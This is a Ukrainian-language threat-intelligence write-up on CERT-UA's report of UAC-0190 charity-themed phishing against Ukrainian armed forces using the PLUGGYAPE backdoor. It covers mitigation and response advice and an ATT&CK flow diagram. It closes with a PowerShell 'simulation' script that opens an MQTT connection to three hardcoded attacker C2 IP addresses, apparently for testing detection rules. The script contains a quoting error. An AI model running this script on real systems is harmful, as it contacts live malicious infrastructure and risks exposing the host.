“Ненадійний фонд”: Цільові кібератаки UAC-0190 проти Збройних Сил України з використанням PLUGGYAPE
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
CERT-UA розкрила хвилю цільових вторгнень проти персоналу у складі сил оборони України, де оператори виступали в ролі представників благодійних фондів для підвищення довіри та здійснення дій. Кампанія поширювала PLUGGYAPE, спеціалізовану бекдор-програму на основі Python, доставлену через зброяні файли “document”, які використовували обманливі подвійні розширення (наприклад, .docx.pif та .pdf.exe), щоб маскуватися під нешкідливий вміст. Після запуску шкідливе ПЗ встановлювало командний і контрольний зв’язок через канали MQTT або WebSocket, використовуючи поєднання скомпрометованих доменів та інфраструктури на основі IP. CERT-UA пов’язала цю активність з кластером Void Blizzard (Laundry Bear).
Розслідування
Під час аналізу респонденти зібрали кілька шкідливих артефактів та підтвердили, що корисні навантаження були бінарними файлами Python, упакованими через PyInstaller, які виглядали як файли Office для сприяння виконанню. Телеметрія мережі показала маякування через брокери MQTT та сесії WebSocket до точок, контрольованих атакуючим, деякі адреси серверів постачалися непрямо — вбудовані у вигляді рядків Base64 і отримані з хостинг-сервісів у стилі paste. Оператори підтримували стійкість шляхом створення записи Run у реєстрі. Інфраструктурні індикатори були підтверджені через посилання, знайдені на платформах paste (включаючи Pastebin і rentry) і кілька доменів з темою благодійності, які використовувалися у лондщюгу завлічення.
Зменшення
Сприймайте небажані файли “document”, отримані через месенджери, як високий ризик, особливо вкладення з подвійними розширеннями або патернами маскування у вигляді виконуваних файлів. Впровадьте списки дозволених застосунків та явно запобігайте виконанню бінарних файлів, упакованих у PyInstaller, де це можливо. Моніторте зміни в загальних місцях для збереження стійкості, особливо модифікації ключів Run. На рівні мережі блокуйте або суворо контролюйте вихідну зв’язність з відомими шкідливими доменами та обмежуйте вихід на порти брокера MQTT, пов’язані з командно-контрольною кампанією.
Відповідь
Імпортуйте опубліковані ІОС до засобів SIEM/EDR та активно шукайте артефакти PLUGGYAPE на кінцевих пунктах, надаючи пріоритет системам, що використовуються цільовим персоналом. Ізолюйте будь-які підозрілі хости і зберігайте докази з кінцевих точок і мережі для обсягу. Перегляньте стійкість реєстру—особливо записи Run—і проаналізуйте журнали мережі на аномальні патерни трафіку MQTT/WebSocket. Ескалуйте через засоби реагування на інциденти та відповідні правоохоронні канали, використовуючи офіційні контактні шляхи, надані CERT-UA.
“graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% Nodes initial_access[“<b>Техніка</b> – <b>T1659 Впорскування контенту</b><br/><b>Опис</b>: Впорскування шкідливих файлів через платформи обміну повідомленнями”] class initial_access technique malicious_file[“<b>Файл</b> – Шкідливі документи<br/><b>Приклади</b>: .docx.pif, .pdf.exe, обфусковане навантаження”] class malicious_file builtin user_execution[“<b>Техніка</b> – <b>T1204.002 Виконання користувача</b><br/><b>Опис</b>: Жертва відкриває шкідливий файл”] class user_execution technique malware[“<b>Шкідливе ПЗ</b> – Python бекдор, скомпільований з PyInstaller<br/><b>Функції</b>: Вбудоване навантаження, використовує WebSocket і MQTT”] class malware malware persistence[“<b>Техніка</b> – <b>T1547.014 Ключі Run реєстру / Папка автозапуску</b><br/><b>Опис</b>: Додає ключ Run для автоматичного запуску при логіні”] class persistence technique discovery[“<b>Техніка</b> – <b>T1082 Виявлення системної інформації</b><br/><b>Опис</b>: Збір інформації про ОС та ідентифікатори апаратного забезпечення”] class discovery technique command_and_control[“<b>Техніка</b> – <b>T1071.001 Веб Протоколи</b> і <b>T1102.002 MQTT</b><br/><b>Опис</b>: Комунікація через WebSocket і MQTT, використовує URL-закодовані в Base64”] class command_and_control technique defense_evasion[“<b>Техніка</b> – <b>T1036.008 Маскування</b>, <b>T1027.009 Обфусковані файли</b>, <b>T1497.002 Ухилення від віртуалізації/пісочниці</b><br/><b>Опис</b>: Приховування виконуваних файлів і перевірка середовищу аналізу”] class defense_evasion technique exfiltration[“<b>Техніка</b> – <b>T1011 Витік через іншу мережеву середу</b><br/><b>Опис</b>: Відправлення зібраних даних через той же канал C2”] class exfiltration technique %% З’єднання initial_access u002du002d>|доставляє| malicious_file malicious_file u002du002d>|відкритий жертвою| user_execution user_execution u002du002d>|виконує| malware malware u002du002d>|створює| persistence malware u002du002d>|збирає| discovery malware u002du002d>|підключається до| command_and_control malware u002du002d>|використовує| defense_evasion malware u002du002d>|втікає через| exfiltration “
Потік атаки
Виконання симуляції
Передумова: Перевірка телеметрії та базової лінії повинна бути успішною.
Мотивація: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для спрацьовування правила виявлення. Команди і розповідь ПОВИННІ безпосередньо відображати ідентифіковані TTP і прагнути створювати саме ту телеметрію, яка очікується логікою виявлення.
-
Опис атаки та команди:
- Мета: Встановити канал C2 з інфраструктурою PLUGGYAPE, використовуючи протокол MQTT, імітуючи типовий IoT-пристрій, що тихо звітує про дані.
- Крок за кроком:
- Атакуючий діє через сценарій PowerShell, що завантажує
MQTTnetбібліотеку. - Він створює постійну фонову задачу, яка підключається до шкідливого брокера MQTT (одного з трьох жорстко закодованих IP-адрес) на стандартному порту MQTT (1883).
- Після встановлення сесії TCP він відправляє мінімальний пакет MQTT CONNECT, а потім періодично PUBLISH з закодованими даними команди.
- Вся мережна активність виконується в контексті легітимного облікового запису служби для злиття з нормальним трафіком.
- Атакуючий діє через сценарій PowerShell, що завантажує
-
Тестовий сценарій регресії:
# Симуляція PLUGGYAPE C2 – MQTT на Windows # Потрібна MQTTnet (встановлюється через PowerShell Gallery) # --------------------------------------------------------- # 1. Встановити MQTTnet, якщо відсутній if (-not (Get-Module -ListAvailable -Name MQTTnet)) { Install-Module -Name MQTTnet -Scope CurrentUser -Force } # 2. Визначити шкідливі C2-кінечні точки $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216') $c2Port = 1883 # 3. Випадковий вибір одного C2-сервера для імітації реалістичного вибору $targetIP = $c2IPs | Get-Random # 4. Формування клієнта MQTT $factory = New-Object MQTTnet.MqttFactory $client = $factory.CreateMqttClient() $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new() .WithTcpServer($targetIP, $c2Port) .WithClientId(([guid]::NewGuid()).Guid) .Build() # 5. Підключитися і почати публікувати у фоновій задачі $scriptBlock = { param($client,$options) try { $client.ConnectAsync($options).GetAwaiter().GetResult() Write-Host "Connected to PLUGGYAPE C2 at $($options.ChannelOptions.Server)` # Надсилає простий публікаційний запит для підтримки активності кожні 30 секунд while ($true) { $msg = [MQTTnet.MqttApplicationMessageBuilder]::new() .WithTopic('data/heartbeat') .WithPayload('alive') .WithExactlyOnceQoS() .Build() $client.PublishAsync($msg).GetAwaiter().GetResult() Start-Sleep -Seconds 30 } } catch { Write-Error "C2 connection failed: $_" } finally { $client.DisconnectAsync() | Out-Null } } # Запуск завдання (виконується у фоновому режимі) $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options Write-Host "PLUGGYAPE C2 simulation job started (JobId=$($job.Id))." -
Команди для очищення:
# Зупинити фонову задачу і переконатися в роз'єднанні MQTT клієнта Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force Write-Host "PLUGGYAPE C2 симуляція зупинена та очищення завершене."